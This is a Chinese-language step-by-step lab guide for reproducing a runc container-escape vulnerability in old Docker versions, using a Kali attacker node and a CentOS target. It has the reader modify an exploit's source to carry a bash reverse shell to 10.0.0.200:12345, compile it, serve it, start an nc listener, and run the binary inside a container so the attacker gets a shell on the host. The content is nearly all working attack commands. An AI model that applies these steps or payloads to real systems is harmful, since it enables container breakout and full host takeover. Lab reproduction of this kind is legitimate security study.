漏洞条件:
root运行Docker
Docker Version < 18.09.2
runc版本<=1.0-rc6
复现环境
kali | 10.0.0.200 |
centos | 10.0.0.50 |
一.kaili节点
1.执行以下命令,转到管理员
su root
2.执行以下命令,切换软件源
sudo bash -c "cat << EOF >> /etc/apt/sources.list
deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
EOF"
apt update
3.执行以下命令,下载go的编译环境
apt -y install golang
4.把脚本文件压缩包上传到家目录
脚本文件在文章开头,且附上百度网盘链接链接: 脚本文件
5.执行unzip CVE... Tab键补全
后面就是上传的文件名
uzip 文件名
得到一个跟解压包一样名字的的文件夹
6. 进到该文件夹内
cd 文件名
7.编辑文件main.go
vim main.go
进去后执行:set nu
需要修改的内容在这个部分
在26行这里需要注释掉,添加//即可
在26行后面添加
var payload = "#!/bin/bash \n bash -i >& /dev/tcp/10.0.0.200/12345 0>&1" + shellCmd
ip和端口可以根据自己需要修改
在28行,第39行把/bin/sh 改为/bin/bash
保存退出
执行
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
出现绿色的main文件
8.打开python服务,执行
python -m http.server 7987
9.到目前为止都是kali节点执行
二.在centos上执行
1.检查,执行
docker -v
docker-runc -v
符合要求即可
2. 启动docker
service docker start
3.启动ubuntu容器
docker run -it ubuntu:18.04 "/bin/bash"
没有的话会帮你下一个ubuntu的镜像,执行exit退出
4.执行exit
exit
5.下载kali的main文件
三.到kali节点
1.停掉python服务
2.执行nc -lvnp 12345
四.到centos节点
1.查看刚刚下载的ubuntu的名字
docker ps -a
找到ubuntu的前4位 //每个人的都不一样
2.打开容器,执行
docker start f54d
3.执行
docker cp ./main f54d:/home
4.进入Docker bash,执行
docker exec -it f54d /bin/sh
// 分别执行图中命令
cd /home
ls
chmod 777 main
./main
5.centos节点远程链接再开一个
执行
docker exec -it f54d /bin/bash